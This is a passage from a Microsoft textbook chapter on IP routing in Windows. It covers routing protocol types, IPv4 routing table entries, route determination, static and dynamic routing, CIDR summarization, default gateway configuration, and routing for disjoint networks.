converge, and do not scale to large or very large networks.
Link State
Routers using link state-based routing protocols exchange link state advertisements (LSAs)
throughout the network to update routing tables. LSAs consist of address prefixes for the networks
to which the router is attached and the assigned costs of those networks. LSAs are advertised upon
startup and when a router detects changes in the network topology. Link state-based routers build a
database of LSAs and use the database to calculate the optimal routes to add to the routing table.
Link state-based routers synchronize and acknowledge the routing information they exchange.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 123
Link state-based routing protocols consume less network bandwidth, converge more quickly, and
scale to large and very large networks. However, they can be more complex and difficult to
configure.
Path Vector
Routers use path vector–based routing protocols to exchange sequences of autonomous system
numbers that indicate the path for a route. An autonomous system is a portion of a network under
the same administrative authority. Autonomous systems are assigned a unique autonomous
system identifier. Path vector–based routers synchronize and acknowledge the routing information
they exchange. Path vector–based routing protocols consume less network bandwidth, converge
more quickly, and scale to networks the size of the Internet. However, they can also be complex
and difficult to configure.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 124
IPv4 Routing
IPv4 routing is the process of forwarding an IPv4 packet based on its destination IPv4 address. IPv4
routing occurs at a sending IPv4 host and at IPv4 routers. The forwarding decision is based on the
entries in the local IPv4 routing table.
IPv4 Routing with Windows
Computers running current versions of Windows and the supplied TCP/IP protocol use an IPv4 routing
table. The IPv4 routing table stores information about destinations and how packets can reach them.
The table contains a series of default entries based on the configuration of the node. You can add
entries with TCP/IP tools (such as the Route.exe tool) or use a routing protocol to dynamically add
routes.
When an IPv4 packet is sent or forwarded, IPv4 uses the IPv4 routing table to determine:
The next-hop IPv4 address
For a direct delivery (in which the destination is a neighboring node), the next-hop IPv4 address is
the destination IPv4 address in the packet. For an indirect delivery (in which the destination is not a
neighboring node), the next-hop address is the IPv4 address of a router.
The next-hop interface
The next-hop interface is either a physical interface (for example, a network adapter) or a logical
interface (for example, a tunneling interface) that IPv4 uses to forward the packet.
After the next-hop address and interface are determined, the packet is passed to the Address
Resolution Protocol (ARP) component of TCP/IP. For LAN technologies such as Ethernet and IEEE
802.11, ARP attempts to resolve the link-layer address (also known as the MAC address) for the next-
hop address and forward the packet by using the next-hop interface.
Contents of the IPv4 Routing Table
The following are the fields of an IPv4 routing table entry for the TCP/IP component of Windows:
Destination
Can be either an IPv4 address or an IPv4 address prefix. For the IPv4 routing table of the TCP/IP
component of Windows, this column is named Network Destination in the display of the route print
command.
Network Mask
The prefix length expressed in subnet mask (dotted decimal) notation. The subnet mask is used to
match the destination IPv4 address of the outgoing packet to the value in the Destination field. For
the IPv4 routing table of the TCP/IP component of Windows, this column is named Netmask in the
display of the route print command.
Next-Hop
The IPv4 address to which the packet is forwarded. For the IPv4 routing table of the TCP/IP
component of Windows, this column is named Gateway in the display of the route print command.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 125
For direct deliveries, the Gateway column lists the IPv4 address assigned to an interface on the
computer.
Interface
The network interface that is used to forward the IPv4 packet. For the IPv4 routing table of the
TCP/IP component of Windows, this column contains an IPv4 address assigned to the interface.
Metric
A number used to indicate the cost of the route so that the best route, among potentially multiple
routes to the same destination, can be selected. The metric can indicate either the number of links
in the path to the destination or the preferred route to use, regardless of number of links.
IPv4 routing table entries can store the following types of routes:
Directly attached subnet routes
For directly attached subnet routes, the Next-Hop field is the IPv4 address of the interface on that
subnet.
Remote subnet routes
For remote subnet routes, the Next-Hop field is the IPv4 address of a neighboring router.
Host routes
For IPv4 host routes, the destination is a specific IPv4 address, and the network mask is
255.255.255.255.
Default route
The default route is used when a more specific subnet or host route is not found. The default route
destination is 0.0.0.0 with the network mask of 0.0.0.0. The next-hop address of the default route is
typically the default gateway of the node.
Route Determination Process
IPv4 on a router uses the following process to determine which routing table entry to use for forwarding:
1. For each entry in the routing table, IPv4 performs a bit-wise logical AND operation between the
destination IPv4 address and the Network Mask field. The result is compared with the Destination
field of the entry for a match.
As described in Chapter 4, "IP Addressing," the result of the bit-wise logical AND operation is:
For each bit in the subnet mask that is set to 1, copy the corresponding bit from the destination IPv4
address to the result.
For each bit in the subnet mask that is set to 0, set the corresponding bit in the result to 0.
2. IPv4 compiles the list of matching routes and selects the route that has the longest match (that is, the
route with the highest number of bits set to 1 in the subnet mask). The longest matching route is the
most specific route to the destination IPv4 address. If the router finds multiple routes with the longest
matches (for example, multiple routes to the same address prefix), the router uses the lowest metric
to select the best route. If multiple entries exist that are the longest match and the lowest metric, IPv4
does the following:
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 126
For Windows Server 2008 and later and Windows Vista and later, IPv4 can choose which
routing table entry to use.
For Windows Server 2003 and Windows XP, IPv4 chooses the interface that is first in the
binding order.
On an IPv4 sending host, the entries in the routing table that are used for route determination depend
on whether the host supports strong host send behavior. With strong host send behavior, the host can
only send packets on an interface if the interface is assigned the source IPv4 address of the packet. For
more information, see Strong and Weak Host Models.
You can view and modify the binding order from Network Connections by clicking Advanced and then
Advanced Settings. The binding order appears under Connections on the Adapters and Bindings
tab, as Figure 5-2 shows.
Figure 5-2 The binding order on the Adapters and Bindings tab
When the route determination process is complete, IPv4 has selected a single route in the routing table.
If this process fails to select a route, IPv4 indicates a routing error. A sending host internally indicates
an IPv4 routing error to an upper layer protocol, such as TCP or UDP. A router sends an Internet
Control Message Protocol (ICMP) Destination Unreachable-Host Unreachable message to the sending
host and discards the packet.
Determining the Next-Hop Address and Interface
After determining the single route in the routing table with which to forward the packet, IPv4 determines
the next-hop address and interface from the following:
If the address in the Next-Hop field is an address that is assigned to an interface on the forwarding
node (a direct delivery):
IPv4 sets the next-hop address to the destination IPv4 address of the IPv4 packet.
IPv4 sets the next-hop interface to the interface that is assigned the address in the Interface field.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 127
If the address in the Next-Hop field is not an address that is assigned to an interface on the forwarding
node (an indirect delivery):
IPv4 sets the next-hop address to the IPv4 address in the Next-Hop field.
IPv4 sets the next-hop interface to the interface that is assigned the address in the Interface field.
Example Routing Table for an IPv4 Host Running Windows
The following is the display of the route print or netstat –r command on a computer that is running
Windows Server 2003 or Microsoft Windows XP and that:
Has a single network adapter.
Is configured with the IPv4 address 157.60.136.41, subnet mask 255.255.252.0 (/22), and a default
gateway of 157.60.136.1.
Does not have IPv6 installed.
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x1000003 ...00 b0 d0 e9 41 43 ...... 3Com EtherLink PCI
===========================================================================
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 157.60.136.1 157.60.136.41 20
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
157.60.136.0 255.255.252.0 157.60.136.41 157.60.136.41 20
157.60.136.41 255.255.255.255 127.0.0.1 127.0.0.1 20
157.60.255.255 255.255.255.255 157.60.136.41 157.60.136.41 20
224.0.0.0 240.0.0.0 157.60.136.41 157.60.136.41 1
255.255.255.255 255.255.255.255 157.60.136.41 157.60.136.41 1
Default Gateway: 157.60.136.1
===========================================================================
Persistent Routes:
None
The display lists two interfaces. One interface corresponds to an installed network adapter (3Com
EtherLink PCI), and the other is an internal loopback interface (MS TCP Loopback Interface).
This routing table contains the following entries based on its configuration:
The first entry, network destination of 0.0.0.0 and network mask (netmask) of 0.0.0.0 (/0), is the default
route. Any destination IPv4 address that is bit-wise logically ANDed with 0.0.0.0 results in 0.0.0.0.
Therefore, the default route is a match for any destination IPv4 address. If the default route is the
longest matching route, the next-hop address is 157.60.136.1, and the next-hop interface is the network
adapter that is assigned the IPv4 address 157.60.136.41 (the 3Com EtherLink PCI adapter).
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 128
The second entry, network destination of 127.0.0.0 and netmask of 255.0.0.0 (/8), is the loopback
network route. For all packets that are sent to an address of the form 127.x.y.z, the next-hop address is
set to 127.0.0.1 (the loopback address), and the next-hop interface is the interface that is assigned the
address 127.0.0.1 (the MS TCP Loopback interface).
The third entry, network destination of 157.60.136.0 and netmask of 255.255.252.0 (/22), is a directly
attached subnet route. If this route is the longest matching route, the next-hop address is set to the
destination address in the packet, and the next-hop interface is set to the 3Com EtherLink PCI adapter.
The fourth entry, network destination of 157.60.136.41 and netmask of 255.255.255.255 (/32), is a host
route for the IPv4 address of the host. For all IPv4 packets sent to 157.60.136.41, the next-hop address
is set to 127.0.0.1, and the next-hop interface is the MS TCP Loopback interface.
The fifth entry, network destination of 157.60.255.255 and netmask of 255.255.255.255 (/32), is a host
route that corresponds to the all-subnets directed broadcast address for the class B address prefix
157.60.0.0/16. For all IPv4 packets sent to 157.60.255.255, the next-hop address is set to
157.60.255.255, and the next-hop interface is the 3Com EtherLink PCI adapter.
The sixth entry, network destination of 224.0.0.0 and netmask of 240.0.0.0 (/4), is a route for multicast
traffic that this host sends. For all multicast packets, the next-hop address is set to the destination
address, and the next-hop interface is set to the 3Com EtherLink PCI adapter.
The seventh entry, network destination of 255.255.255.255 and netmask of 255.255.255.255 (/32), is a
host route that corresponds to the limited broadcast address. For all IPv4 packets sent to
255.255.255.255, the next-hop address is set to 255.255.255.255, and the next-hop interface is the
3Com EtherLink PCI adapter.
The routes associated with the IPv4 address configuration are automatically assigned a metric of 20,
based on the link speed of the 3Com EtherLink PCI adapter. For more information, see "Default Route
Metric" in this chapter.
The following are examples of how this routing table helps determine the next-hop IPv4 address and
interface for several destinations:
Unicast destination 157.60.136.48
The longest matching route is the route for the directly attached subnet (157.60.136.0/22). The
next-hop IPv4 address is the destination IPv4 address (157.60.136.48), and the next-hop interface
is the network adapter that is assigned the IPv4 address 157.60.136.41 (the 3Com EtherLink PCI
adapter).
Unicast destination 192.168.0.79
The longest matching route is the default route (0.0.0.0/0). The next-hop IPv4 address is the default
gateway address (157.60.136.1), and the next-hop interface is the 3Com EtherLink PCI adapter.
Multicast destination 224.0.0.1
The longest matching route is the 224.0.0.0/4 route. The next-hop IPv4 address is the destination
IP address (224.0.0.1), and the next-hop interface is the 3Com EtherLink PCI adapter.
Subnet broadcast destination 157.60.139.255
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 129
The longest matching route is the route for the directly attached subnet (157.60.136.0/22). The
next-hop IPv4 address is the destination IPv4 address (157.60.139.255), and the next-hop interface
is the 3Com EtherLink PCI adapter.
Unicast destination 157.60.136.41
The longest matching route is the host route for the locally assigned IPv4 address
(157.60.136.41/32). The next-hop IPv4 address is the loopback address (127.0.0.1), and the next-
hop interface is the MS TCP Loopback interface.
Static IPv4 Routing
A static router uses manually configured routes to reach remote destinations. Figure 5-3 shows a
simple static routing configuration.
Figure 5-3 Simple static IPv4 routing configuration
In Figure 5-3:
Router A has only local connections to subnets 1 and 2. As a result, hosts on subnet 1 can
communicate with hosts on subnet 2 but not with hosts on subnet 3.
Router B has only local connections to subnets 2 and 3. Hosts on subnet 3 can communicate with hosts
on subnet 2 but not with hosts on subnet 1.
To route IPv4 packets to other subnets, you must configure each static router with one of the following:
An entry in the routing table for each subnet prefix in the network.
A default gateway address of a neighboring router.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 130
Configuring Static IPv4 Routers
Figure 5-4 shows an example of configuring entries in static routers for all subnet prefixes in the
network. The routes in bold numbers were manually added to the routing tables of both routers.
Figure 5-4 Example of static IPv4 routing entries
In Figure 5-4:
A static entry is created in the routing table for Router A with subnet 3’s subnet prefix (131.107.24.0/24)
and the IP address (131.107.16.1) of the interface that Router A uses to forward packets from subnet 1
to subnet 3.
A static entry is created in the routing table for Router B with subnet 1’s subnet prefix (131.107.8.0/24)
and the IP address (131.107.16.2) of the interface that Router B uses to forward packets from subnet 3
to subnet 1.
Dynamic IPv4 Routing
With dynamic routing, routers automatically exchange routes to known networks with each other. If a
route changes, routing protocols automatically update a router's routing table and inform other routers
on the network of the change. Network administrators typically implement dynamic routing on large IP
networks because it requires minimal maintenance.
Figure 5-5 shows an example in which each router has automatically added a route for a remote subnet
(in bold) by using dynamic routing.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 131
Figure 5-5 Example of dynamic IPv4 routing entries
Dynamic routing for IPv4 requires an IPv4 routing protocol such as RIP, OSPF, or BGP-4.
RIP
RIP for IPv4 is a distance vector routing protocol that has its origins in the Xerox Network Services
(XNS) version of RIP. This routing protocol became popular due to its inclusion in Berkeley UNIX
(starting with BSD 4.2) as the RouteD server daemon. (A daemon is similar to a Windows service.) Two
versions of RIP support IPv4. RFC 1058 defines RIP version 1 (v1), and RFC 1723 defines RIP version
2 (v2).
OSPF
Open Shortest Path First (OSPF) is a link state routing protocol that runs as an Interior Gateway
Protocol (IGP) to a single autonomous system. In a link state routing protocol, each router maintains a
database of router advertisements (LSAs). LSAs for routers within the AS consist of information about a
router, its attached subnets, and their configured costs. An OSPF cost is a unitless metric that indicates
the preference of using a link. Summarized routes and routes outside of the AS also have LSAs. RFC
2328 defines OSPF.
The router distributes its LSAs to its neighboring routers, which gather them into a database called the
link state database (LSDB). By synchronizing LSDBs between all neighboring routers, each router has
each other router's LSA in its database. Therefore, every router has the same LSDB. From the LSDB,
OSPF calculates the entries for the router's routing table by determining the least cost path, which is the
path with the lowest accumulated cost, to each subnet in the network.
BGP-4
Border Gateway Protocol 4 (BGP-4) is a path vector routing protocol that RFC 4271 defines. Unlike RIP
and OSPF, which perform within an autonomous system, BGP-4 is designed to exchange information
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 132
between autonomous systems. BGP-4 routing information is used to create a logical path tree, which
describes all the connections between autonomous systems. The path tree information is then used to
create loop-free routes in the routing tables of BGP-4 routers. BGP-4 messages use TCP port 179.
BGP-4 is the primary inter-domain protocol used to maintain routing tables on the IPv4 Internet.
Integrating Static and Dynamic Routing
A static router does not exchange routing information with dynamic routers. To route from a static router
through a dynamic router (such as an IPv4 router that is enabled for RIP or OSPF), you will need to add
a static route to the routing tables on both the static and dynamic routers. As Figure 5-6 shows:
To route packets from subnet 1 to the rest of the intranet, the routing table for Router A must include
manually configured routes for subnet 3 (131.107.24/0/8) and for the rest of the intranet (10.0.0.0/8).
To route packets from subnet 2 and 3 to the rest of the intranet, the routing table for Router B must
include manually configured routes for subnet 1 (131.107.8.0/24) and for the rest of the intranet
(10.0.0.0/8).
To route packets from subnet 3 and the rest of the intranet to subnets 1 and 2, the routing table for the
RIP router must include manually configured routes for subnet 1 (131.107.8.0/24) and subnet 2
(131.107.16.0/8).
Figure 5-6 Integrating static and dynamic routing
The routing tables in Figure 5-6 do not show the routes for directly attached subnets or other routes
learned by the RIP router.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 133
IPv4 Route Aggregation and Summarization
Routing protocols can propagate the individual routes for each subnet on an IPv4 network to each
router. However, when a network grows very large with hundreds or thousands of subnets, you might
need to configure your routers or routing protocols to advertise aggregate or summarized routes, rather
than all of the routes within a region of your network.
For example, a specific site of a large private network uses the subnets 10.73.0.0/24 to 10.73.255.0/24
(up to 256 subnets). Rather than having the routers at the edge of the site advertise up to 256 routes,
you can configure them to instead advertise a single route: 10.73.0.0/16. This single route summarizes
the entire address space used by the site.
Figure 5-7 shows an example of how routes can be summarized at various sites of an organization
intranet.
Figure 5-7 Example of summarizing routes
The advantage of summarizing the address space of the site is that only a single route must be
advertised outside the site, lowering the number of routes in the routing tables of routers outside the
site. Another advantage is that the rest of the IPv4 network is protected from route flapping, which is the
propagation of routing updates when networks become available or unavailable. The disadvantage to
route summarization is that traffic destined to unreachable addresses within the summarized address
space crosses more routers before being discarded.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 134
For example, if the 10.73.252.0/24 address prefix was not assigned to any subnet (it was an address
prefix reserved for a future subnet) and the routers on the edge of the site advertised the 10.73.0.0/16
address prefix, then traffic destined to 10.73.252.19 would be forwarded all the way to the routers at the
edge of the site before being discarded. If the address space of the site was not summarized and the
individual routes for the subnets of the site were propagated to all the routers of the IPv4 network, the
router on the sending host's subnet would discard the traffic.
RIP, OSPF, and BGP-4 support route summarization. You can also summarize when configuring static
routes.
Route Summarization for Internet Address Classes: Supernetting
With the recent growth of the Internet, it became clear to the Internet authorities that the class B
address prefixes would soon be depleted. For most organizations, a class C address prefix does not
contain enough host IDs, and a class B address prefix has enough bits to provide a flexible subnetting
scheme within the organization.
To prevent the depletion of class B address prefixes, the Internet authorities devised a new method of
assigning address prefixes. Rather than assigning a class B address prefix, the Internet Corporation for
Assigned Names and Numbers (ICANN) assigns a range of class C address prefixes that contain
enough network and host IDs for the organization’s needs. This was known as supernetting, a route
summarization technique for class C address prefixes on the Internet. For example, rather than
allocating a class B address prefix to an organization that has up to 2,000 hosts, ICANN allocates a
range of eight class C address prefixes. Each class C address prefix accommodates 254 hosts, for a
total of 2,032 host IDs.
Although this technique helps conserve class B address prefixes, it creates a different problem. Using
class-based routing techniques, the routers on the Internet must have eight class C address prefix
entries in their routing tables to route IP packets to the organization. To prevent Internet routers from
becoming overwhelmed with routes, a technique called Classless Inter-Domain Routing (CIDR) is used
to collapse multiple address prefix entries into a single entry corresponding to all of the class C address
prefixes allocated to that organization.
For example, to express the situation where eight class C address prefixes are allocated starting with
address prefix 220.78.168.0:
The starting address prefix is 220.78.168.0, or 11011100 01001110 10101000 00000000
The ending address prefix is 220.78.175.0, or 11011100 01001110 10101111 00000000
Note that the first 21 bits (bolded) of all the above Class C address prefixes are the same. The last
three bits of the third octet vary from 000 to 111. The CIDR entry in the routing tables of the Internet
routers becomes 220.78.168.0/21, or 220.78.168.0, 255.255.248.0 in subnet mask notation.
A block of addresses using CIDR is known as a CIDR block. Because prefix lengths are used to
express the count, class-based address prefixes must be allocated in groups corresponding to powers
of 2.
To support CIDR, routers must be able to exchange routing information in the form of [Prefix, Prefix
Length or Subnet Mask] pairs. RIP for IP version 2, OSPF, and BGP-4 support CIDR, but RIP for IP
version 1 does not.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 135
On today's Internet, the term "supernetting" is obsolete. Because the Internet no longer uses Internet
address classes, distinguishing a block of Class C address prefixes as a supernetted address prefix is
no longer necessary. Instead, organizations are assigned an address space without regard to the
original Internet address class to which the address space originated. The address space is the
summarized route for all the public addresses within the organization, whether the organization decides
to subnet or not.
IPv4 Routing Support in Windows
Windows Server 2003 supports both static and dynamic IPv4 routing. Windows XP supports only static
IPv4 routing.
Static Routing
You can enable static routing through the following:
The IPEnableRouter registry entry
The Routing and Remote Access service
For computers running Windows Vista, Windows XP, Windows Server 2008, or Windows Server 2003,
you can enable static IPv4 routing by setting the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip\Parameters\IPEnableRouter
registry entry to 1 (data type is REG_DWORD). Editing the registry is necessary only for computers
running Windows Vista or Windows XP.
For computers running Windows Server 2008 or Windows Server 2003, you should use the Routing
and Remote Access service to enable IPv4 routing rather than setting the IPEnableRouter registry
entry. To run the Routing and Remote Access Server Setup Wizard, do the following:
1. In the console tree of the Routing and Remote Access snap-in, right-click the server you want to
enable, and then click Configure And Enable Routing and Remote Access.
2. Follow the instructions in the Routing and Remote Access Server Setup Wizard.
To enable simple IPv4 routing, choose Custom Configuration on the Configuration page and LAN
Routing on the Custom Configuration page of the Routing and Remote Access Server Setup Wizard.
Dynamic Routing with RIP and OSPF
You can enable dynamic routing through the Routing and Remote Access service. To do so, first
configure and enable the Routing and Remote Access service as described in the previous section.
Then configure RIP or OSPF routing by adding the RIP and OSPF routing protocol components and
adding and configuring interfaces on which they are enabled. OSPF is not supported in Windows
Server 2008
For more information about configuring RIP and OSPF routing, see the Help and Support in Windows
Server 2008 and Windows Server 2003.
Configuring Hosts for IPv4 Routing
IPv4 hosts can use the following methods to reach remote destinations:
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 136
Store a host-specific route to each remote destination. This method is obviously not practical or
possible, because the routing table might have to contains thousands or, in the case of the Internet,
millions of routes. The host routing table would have to change as addresses were added or removed.
Store a route to each remote subnet. Although more possible, this method is also not practical, because
the routing table would still have to contain possibly hundreds or, in the case of the Internet, tens of
thousands of routes. The host routing table would have to change as subnets were added or removed.
Store a single default route that effectively summarizes all of the locations that are not located on the
local subnet. This method is possible and practical. Only a single route is needed and does not need to
change for nodes or subnets that are added or removed from the network.
By using a default route, the knowledge of the topology of the network and the set of reachable
destinations is offloaded to the routers, rather than being a responsibility of the sending host. The
advantage to this method is ease of configuration.
The default gateway setting, which creates the default route in the IPv4 routing table, is a critical part of
the configuration of a TCP/IP host. The role of the default gateway is to provide the host with that next-
hop IPv4 address and interface for all destinations that are not located on its subnet. Without a default
gateway, communication with remote destinations is not possible, unless additional routes are added to
the IPv4 routing table.
Default Gateway Setting
You can configure a default gateway on a computer running Windows in the following ways:
When IPv4 obtains an address configuration using DHCP, the default gateway becomes the value of
the first IPv4 address in the Router DHCP option. A network administrator configures this option on the
DHCP server to specify an ordered list of one or more default gateways.
When the user specifies an alternate IPv4 address configuration, the default gateway is the IPv4
address typed in Default Gateway on the Alternate Configuration tab for the properties of the Internet
Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component in Network Connections. You
can specify only a single default gateway.
When the IPv4 address configuration is manually specified, the default gateway is the IPv4 address
typed in Default Gateway on the General tab for the properties of the Internet Protocol Version 4
(TCP/IPv4) or Internet Protocol (TCP/IP) component. To specify multiple default gateways, you must
add them from the IP Settings tab in the advanced properties dialog box of the Internet Protocol
Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component.
When the IPv4 address configuration is obtained using Automatic Private IP Addressing (APIPA), a
default gateway is not configured. APIPA supports only a single subnet.
The configuration of a default gateway creates a default route in the IPv4 routing table. The default
route has a destination of 0.0.0.0 with a subnet mask of 0.0.0.0. In prefix length notation, the default
route is 0.0.0.0/0, which is sometimes abbreviated to 0/0. The next-hop address, also known as the
Gateway address in the display of the route print command, is set to the IPv4 address of the default
gateway. The next-hop interface is the interface assigned the IPv4 address in the Interface column in
the display of the route print command.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 137
Based on the route determination process, the default route matches all destinations. If no other route
matches the destination more closely, IPv4 uses the default route to determine the next-hop address
and interface. Default route traffic is traffic destined to a remote network but that is forwarded to the
default gateway (rather than traffic destined for the default gateway's IPv4 address).
Default Route Metric
TCP/IP for Windows by default automatically calculates a metric for the default route that is based on
the speed of the adapter to which the default gateway is configured. For example, for a 100 megabit per
second (Mbps) Ethernet adapter, the default route metric is set to 20. For a 10 Mbps Ethernet adapter,
the default route metric is set to 30.
To override this behavior for DHCP-assigned default gateways, use the Default Router Metric Base
Microsoft-specific DHCP option, specifying Microsoft Windows 2000 Options as the vendor class. To
override this behavior for manually configured default gateways, open the advanced properties dialog
box for the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component, click the IP
Settings tab, and then clear the Automatic metric check box on the TCP/IP Gateway Address dialog
box for the configured default gateways. Figure 5-8 shows the TCP/IP Gateway Address dialog box.
Figure 5-8 The TCP/IP Gateway Address dialog box
ICMP Router Discovery
ICMP Router Discovery provides an alternate method of configuring and detecting default gateways.
Instead of obtaining a default gateway configuration manually or using DHCP, IPv4 can also
dynamically discover the routers on a subnet. If the primary router fails, hosts can automatically switch
to a backup router. When a host that supports router discovery initializes, it joins the all-systems IP
multicast group (224.0.0.1) and then listens for the Router Advertisement messages that routers send
to that group. Hosts can also send Router Solicitation messages to the all-routers IP multicast address
(224.0.0.2) when an interface initializes to be configured immediately.
TCP/IP for Windows supports sending ICMP router solicitations and receiving ICMP router
advertisements, known as host-side router discovery. This capability is disabled by default and can be
enabled if you are using DHCP and the Perform Router Discovery DHCP option.
The Routing and Remote Access service in Windows Server 2008 and Windows Server 2003 supports
sending ICMP router advertisements, known as router-side router discovery. To enable router-side
ICMP router discovery, do the following:
1. In the console tree of the Routing and Remote Access snap-in, open Routing and Remote Access,
IP Routing or IPv4, and then General.
2. In the details pane, right-click the interface that you want to enable, and then click Properties.
3. On the General tab, select the Enable router discovery advertisements check box, and configure
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 138
additional settings as needed.
Static Routes
The Route tool adds entries to the IPv4 routing table. You can add entries for hosts or networks, and
you can use IPv4 addresses or aliases. If you use aliases to specify hosts or gateways, the alias name
is looked up in the Hosts file. If you use an alias to specify an address prefix, the alias name is looked
up in the Networks file. Both of these files are in the %systemroot%\System32\Drivers\Etc folder.
The following are examples of how to use the Route tool to add entries to the host IPv4 routing table.
Example of adding an entry corresponding to a host IPv4 address:
route add 131.107.24.192 mask 255.255.255.255 131.107.1.1
or
route add 131.107.24.192 mask 255.255.255.255 router1
in which the Hosts file has the entry:
131.107.1.1
router1
Example of adding an entry corresponding to an address prefix:
route add 131.107.3.0 mask 255.255.255.0 131.107.1.2
or
route add network3 mask 255.255.255.255 131.107.1.2
in which the Networks file has the entry:
network3
131.107.3.0
Persistent Static Routes
Because the IPv4 routing table is maintained in memory, the table must be rebuilt every time the node
is restarted. To maintain static routes that are not based on the node's configuration when Windows is
restarted, the Route tool supports the -p option. The -p option makes the route persistent by storing it in
the registry at the following location:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TCPIP\PersistentRoutes
RIP Listener
RIP Listener is an optional networking component that you can install through the Programs and
Features item of Control Panel on computers running Windows Vista or the Add or Remove Programs
item of Control Panel on computers running Windows XP Professional. When installed, the RIP Listener
service listens for RIP v1 and RIP v2 traffic and uses the received RIP messages to update its IPv4
routing table. A computer using the RIP Listener service is known as a silent RIP host.
Routing for Disjoint Networks
If you have multiple interfaces and you configure a default gateway for each interface, the default route
metric, which is based on the speed of the interface, causes your fastest interface to be used for default
route traffic. This behavior might be desirable in some configurations in which the computer has
multiple adapters that are connected to the same network. For example, if you have a 100 Mbps
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 139
Ethernet adapter and a 10 Mbps Ethernet adapter connected to the same organization intranet, you
would want the default route traffic to be sent using the 100 Mbps adapter.
However, this default behavior might be a problem when the computer is connected to two or more
disjoint networks (networks that do not provide symmetric reachability at the Network layer). Symmetric
reachability exists when packets can be sent to and received from an arbitrary destination. For
example, the Ping tool tests for symmetric reachability.
Examples of disjoint networks are the following:
Networks that have no Network layer connectivity, such as an organization intranet and a test lab that
have no IPv4 router forwarding packets between them. A computer can be connected to both networks,
but if no routes reach both networks and the computer connecting them is not forwarding packets, the
two networks are disjoint.
A privately addressed intranet that has a routed connection to the Internet. This configuration offers
asymmetric or one-way reachability. Intranet hosts can send packets to Internet hosts from private IPv4
addresses, but the return traffic cannot be delivered because routes for the private address space do
not exist in the routing infrastructure of the Internet.
Connectivity to disjoint networks is important when organizations use the following:
Either a proxy server, such as Microsoft Internet Security and Acceleration (ISA) Server, or a network
address translator (NAT) to connect their private intranets to the Internet. In either case, the address
space of the intranet is not directly accessible to Internet hosts, regardless of whether the organization
is using private or public addressing. Intranet hosts can access Internet locations indirectly through
proxy or translation, but Internet hosts cannot access arbitrary intranet locations directly. Therefore,
there is no symmetric reachability. This configuration is common for organizations that offer Internet
connectivity to their employees.
A virtual private networking (VPN) server to allow remote users or remote sites to connect to a private
intranet over the Internet. Although the VPN server is connected to both the Internet and a private
intranet and is acting as a router, the configuration of packet filters on the Internet interface prevents it
from accepting anything but VPN-based traffic. Internet hosts cannot directly reach intranet locations
without an authenticated VPN connection.
Because the TCP/IP protocol uses only a single default route in the routing table at any one time for
default route traffic, you can obtain undesirable results when default gateways are configured on
multiple interfaces that are connected to disjoint networks.
For the examples of the ISA or VPN server, the default route traffic is forwarded either to the Internet or
the intranet but not both. From the ISA or VPN server, all the locations on either the Internet or the
intranet are reachable, but you cannot reach both at the same time. However, ISA or VPN servers
require simultaneous symmetric reachability for all the locations on both the Internet and the intranet to
operate properly.
When default gateways are configured on multiple interfaces, the default route that IPv4 chooses for
current use is based on the following:
When the routing table contains multiple default routes with different metrics, the TCP/IP component of
Windows XP and Windows Server 2003 chooses the default route with the lowest metric. If the
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 140
adapters are of different speeds, the adapter with the higher speed has the lower metric by default and
is used to forward default route traffic.
When the routing table contains multiple default routes with the lowest metric, the TCP/IP component of
Windows XP and Windows Server 2003 uses the default route that corresponds to the adapter that is
the highest in the binding order.
To prevent the problem of disjoint network unreachability, you must do the following on the ISA or VPN
server:
Configure a default gateway on the interface that is connected to the network with the largest number of
routes. In most configurations of disjoint networks, the Internet is the network with the largest number of
routes.
Do not configure a default gateway on any other interface. Instead use static routes or dynamic routing
protocols to add the routes that summarize the addresses of the other disjoint networks to the local
IPv4 routing table.
For example, an ISA server is connected to the Internet and a private intranet. The private intranet uses
the private IPv4 address space. To configure this server so that all locations on both disjoint networks
are reachable from the ISA server, you would do the following on the ISA server:
Configure a default gateway on the network adapter connected to the Internet. This step creates a
default route that points to the Internet, making all Internet locations reachable.
Add the 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 routes using the intranet-connected adapter as
persistent static routes with the Route tool. This step creates the routes that summarize all the
addresses of the private intranet, making all intranet locations reachable.
In this example, static routes are added. You can also configure the ISA server as a RIP or OSPF
dynamic router so that, rather than summarizing the entire private IPv4 address space, subnet-specific
routes are dynamically added and removed from the IPv4 routing table based on the current intranet
routing topology. To use RIP or OSPF, enable and configure the Routing and Remote Access service.
Network Address Translation
A network address translator (NAT) is an IPv4 router defined in RFC 3022 that can translate the IPv4
addresses and TCP/UDP port numbers of packets as they are forwarded. For example, consider a
small business network with multiple computers that connect to the Internet. This business would
normally have to obtain a public IPv4 address for each computer on the network from an Internet
